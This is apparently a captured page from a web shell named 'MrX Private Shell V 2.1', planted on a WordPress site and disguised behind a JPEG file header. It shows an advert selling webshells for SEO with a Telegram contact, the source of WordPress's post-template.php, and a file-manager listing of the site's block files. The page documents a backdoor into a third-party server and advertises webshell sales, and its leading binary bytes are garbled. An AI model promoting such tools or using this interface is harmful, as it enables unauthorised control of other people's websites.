����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server-side rendering of the `core/post-template` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-template` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the output of the query, structured using the layout defined by the block's inner blocks.
*/
function render_block_core_post_template( $attributes, $content, $block ) {
$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
$page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
$query_args = build_query_vars_from_query_block( $block, $page );
// Override the custom query with the global query if needed.
$use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] );
if ( $use_global_query ) {
global $wp_query;
if ( $wp_query && isset( $wp_query->query_vars ) && is_array( $wp_query->query_vars ) ) {
// Unset `offset` because if is set, $wp_query overrides/ignores the paged parameter and breaks pagination.
unset( $query_args['offset'] );
$query_args = wp_parse_args( $wp_query->query_vars, $query_args );
if ( empty( $query_args['post_type'] ) && is_singular() ) {
$query_args['post_type'] = get_post_type( get_the_ID() );
}
}
}
$query = new WP_Query( $query_args );
if ( ! $query->have_posts() ) {
return '';
}
$classnames = '';
if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) {
if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) {
$classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}";
}
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) );
$content = '';
while ( $query->have_posts() ) {
$query->the_post();
$block_content = (
new WP_Block(
$block->parsed_block,
array(
'postType' => get_post_type(),
'postId' => get_the_ID(),
)
)
)->render( array( 'dynamic' => false ) );
$post_classes = esc_attr( implode( ' ', get_post_class( 'wp-block-post' ) ) );
$content .= '<li class="' . $post_classes . '">' . $block_content . '</li>';
}
wp_reset_postdata();
return sprintf(
'<ul %1$s>%2$s</ul>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/post-template` block on the server.
*/
function register_block_core_post_template() {
register_block_type_from_metadata(
__DIR__ . '/post-template',
array(
'render_callback' => 'render_block_core_post_template',
'skip_inner_blocks' => true,
)
);
}
add_action( 'init', 'register_block_core_post_template' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| archives | Folder | 0755 |
|
|
| audio | Folder | 0755 |
|
|
| block | Folder | 0755 |
|
|
| button | Folder | 0755 |
|
|
| buttons | Folder | 0755 |
|
|
| calendar | Folder | 0755 |
|
|
| categories | Folder | 0755 |
|
|
| code | Folder | 0755 |
|
|
| column | Folder | 0755 |
|
|
| columns | Folder | 0755 |
|
|
| cover | Folder | 0755 |
|
|
| embed | Folder | 0755 |
|
|
| file | Folder | 0755 |
|
|
| freeform | Folder | 0755 |
|
|
| gallery | Folder | 0755 |
|
|
| group | Folder | 0755 |
|
|
| heading | Folder | 0755 |
|
|
| html | Folder | 0755 |
|
|
| image | Folder | 0755 |
|
|
| latest-comments | Folder | 0755 |
|
|
| latest-posts | Folder | 0755 |
|
|
| legacy-widget | Folder | 0755 |
|
|
| list | Folder | 0755 |
|
|
| loginout | Folder | 0755 |
|
|
| media-text | Folder | 0755 |
|
|
| missing | Folder | 0755 |
|
|
| more | Folder | 0755 |
|
|
| navigation | Folder | 0755 |
|
|
| navigation-link | Folder | 0755 |
|
|
| navigation-submenu | Folder | 0755 |
|
|
| nextpage | Folder | 0755 |
|
|
| page-list | Folder | 0755 |
|
|
| paragraph | Folder | 0755 |
|
|
| pattern | Folder | 0755 |
|
|
| post-author | Folder | 0755 |
|
|
| post-comments | Folder | 0755 |
|
|
| post-content | Folder | 0755 |
|
|
| post-date | Folder | 0755 |
|
|
| post-excerpt | Folder | 0755 |
|
|
| post-featured-image | Folder | 0755 |
|
|
| post-navigation-link | Folder | 0755 |
|
|
| post-template | Folder | 0755 |
|
|
| post-terms | Folder | 0755 |
|
|
| post-title | Folder | 0755 |
|
|
| preformatted | Folder | 0755 |
|
|
| pullquote | Folder | 0755 |
|
|
| query | Folder | 0755 |
|
|
| query-pagination | Folder | 0755 |
|
|
| query-pagination-next | Folder | 0755 |
|
|
| query-pagination-numbers | Folder | 0755 |
|
|
| query-pagination-previous | Folder | 0755 |
|
|
| query-title | Folder | 0755 |
|
|
| quote | Folder | 0755 |
|
|
| rss | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| separator | Folder | 0755 |
|
|
| shortcode | Folder | 0755 |
|
|
| site-logo | Folder | 0755 |
|
|
| site-tagline | Folder | 0755 |
|
|
| site-title | Folder | 0755 |
|
|
| social-link | Folder | 0755 |
|
|
| social-links | Folder | 0755 |
|
|
| spacer | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| tag-cloud | Folder | 0755 |
|
|
| template-part | Folder | 0755 |
|
|
| term-description | Folder | 0755 |
|
|
| text-columns | Folder | 0755 |
|
|
| verse | Folder | 0755 |
|
|
| video | Folder | 0755 |
|
|
| widget-group | Folder | 0755 |
|
|
| archives.php | File | 2.79 KB | 0644 |
|
| block.php | File | 1.47 KB | 0644 |
|
| calendar.php | File | 4.46 KB | 0644 |
|
| categories.php | File | 2.71 KB | 0644 |
|
| file.php | File | 897 B | 0644 |
|
| gallery.php | File | 1.5 KB | 0644 |
|
| image.php | File | 1.26 KB | 0644 |
|
| index.php | File | 3.15 KB | 0644 |
|
| latest-comments.php | File | 4.9 KB | 0644 |
|
| latest-posts.php | File | 6.96 KB | 0644 |
|
| legacy-widget.php | File | 4.39 KB | 0644 |
|
| loginout.php | File | 1.35 KB | 0644 |
|
| navigation-link.php | File | 11.05 KB | 0644 |
|
| navigation-submenu.php | File | 9.82 KB | 0644 |
|
| navigation.php | File | 22.79 KB | 0644 |
|
| page-list.php | File | 12.88 KB | 0644 |
|
| pattern.php | File | 921 B | 0644 |
|
| post-author.php | File | 2.12 KB | 0644 |
|
| post-comments.php | File | 2.43 KB | 0644 |
|
| post-content.php | File | 2.35 KB | 0644 |
|
| post-date.php | File | 1.5 KB | 0644 |
|
| post-excerpt.php | File | 2.42 KB | 0644 |
|
| post-featured-image.php | File | 1.89 KB | 0644 |
|
| post-navigation-link.php | File | 3.47 KB | 0644 |
|
| post-template.php | File | 2.77 KB | 0644 |
|
| post-terms.php | File | 1.6 KB | 0644 |
|
| post-title.php | File | 1.59 KB | 0644 |
|
| query-pagination-next.php | File | 2.64 KB | 0644 |
|
| query-pagination-numbers.php | File | 3.73 KB | 0644 |
|
| query-pagination-previous.php | File | 2.1 KB | 0644 |
|
| query-pagination.php | File | 891 B | 0644 |
|
| query-title.php | File | 1.35 KB | 0644 |
|
| query.php | File | 304 B | 0644 |
|
| rss.php | File | 3.17 KB | 0644 |
|
| search.php | File | 12.47 KB | 0644 |
|
| shortcode.php | File | 697 B | 0644 |
|
| site-logo.php | File | 5.75 KB | 0644 |
|
| site-tagline.php | File | 994 B | 0644 |
|
| site-title.php | File | 1.54 KB | 0644 |
|
| social-link.php | File | 57.92 KB | 0644 |
|
| tag-cloud.php | File | 1.28 KB | 0644 |
|
| template-part.php | File | 7.15 KB | 0644 |
|
| term-description.php | File | 1.14 KB | 0644 |
|
| widget-group.php | File | 2.1 KB | 0644 |
|